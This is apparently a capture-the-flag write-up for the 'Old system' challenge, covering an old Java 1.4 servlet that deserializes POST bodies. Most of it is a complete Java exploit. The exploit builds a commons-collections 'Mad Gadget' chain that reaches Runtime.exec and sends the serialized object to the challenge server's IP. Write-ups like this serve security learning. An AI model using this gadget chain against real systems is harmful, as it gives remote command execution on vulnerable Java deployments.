# Real world CTF ## Old system > How to exploit the deserialization vulnerability in such an ancient Java environment ? Java version: 1.4.2_19 Unzip the .war and decompile the two java classes at https://jdec.app/ The code runs a servlet at http://54.177.240.164:28080/ which accepts HTTP POST requests and prints deserialized objects from request to response. ```java protected void doPost(HttpServletRequest var1, HttpServletResponse var2) throws ServletException, IOException { PrintWriter var3 = var2.getWriter(); ClassLoader var4 = Thread.currentThread().getContextClassLoader(); Thread.currentThread().setContextClassLoader(this.appClassLoader); try { ClassLoaderObjectInputStream var5 = new ClassLoaderObjectInputStream(this.appClassLoader, var1.getInputStream()); Object var6 = var5.readObject(); var5.close(); var3.print(var6); } catch (ClassNotFoundException var10) { var10.printStackTrace(var3); } finally { Thread.currentThread().setContextClassLoader(var4); } } ``` `readobject()`in the request handle will deserialize any available class. We can find potential vulnerable classes by looking at the `init()` function which loads the following .jar files: * commons-beansutils.jar (version 1.6) * commons-collections.jar (version 2.1 and it is vulnerable) * commons-logging-1.0.4.jar * log4j-1.2.8.jar Potential target is to use Apache Commons classes: https://www.slideshare.net/codewhitesec/exploiting-deserialization-vulnerabilities-in-java-54707478 The vulnerability is called **Mad Gadget** and there are tools to exploit it: https://github.com/frohoff/ysoserial ### exploit craft a Java program that executes a command on the server. ``` package com.mycompany.app; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.Serializable; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.HashMap; import java.util.HashSet; import java.util.Map; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.net.URI; import java.net.http.HttpClient; import java.net.http.HttpRequest; import java.net.http.HttpResponse; import java.net.http.HttpRequest.BodyPublishers; import java.util.HashMap; class exploitobject { public static Serializable getObject(final String command) throws Exception { final String[] execArgs = new String[] { command }; final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) }; Transformer transformerChain = new ChainedTransformer(transformers); final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); HashSet map = new HashSet(1); map.add("foo"); Field f = null; try { f = HashSet.class.getDeclaredField("map"); } catch (NoSuchFieldException e) { f = HashSet.class.getDeclaredField("backingMap"); } f.setAccessible(true); HashMap innimpl = (HashMap) f.get(map); Field f2 = null; try { f2 = HashMap.class.getDeclaredField("table"); } catch (NoSuchFieldException e) { f2 = HashMap.class.getDeclaredField("elementData"); } f2.setAccessible(true); Object[] array = (Object[]) f2.get(innimpl); Object node = array[0]; if(node == null){ node = array[1]; } Field keyField = null; try{ keyField = node.getClass().getDeclaredField("key"); }catch(Exception e){ keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); } keyField.setAccessible(true); keyField.set(node, entry); return map; } } class exploit { public static void main(String[] args) { try { Object exploitObject = exploitobject.getObject("ls"); ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(exploitObject); oos.close(); HttpClient client = HttpClient.newHttpClient(); HttpRequest request = HttpRequest.newBuilder() .uri(URI.create("http://54.177.240.164:28080/")) .POST(BodyPublishers.ofByteArray(baos.toByteArray())) .build(); HttpResponse<String> response = client.send(request, HttpResponse.BodyHandlers.ofString()); System.out.println("output:" + response.body()); } catch (Exception e) { System.out.println(e.toString()); } } } ```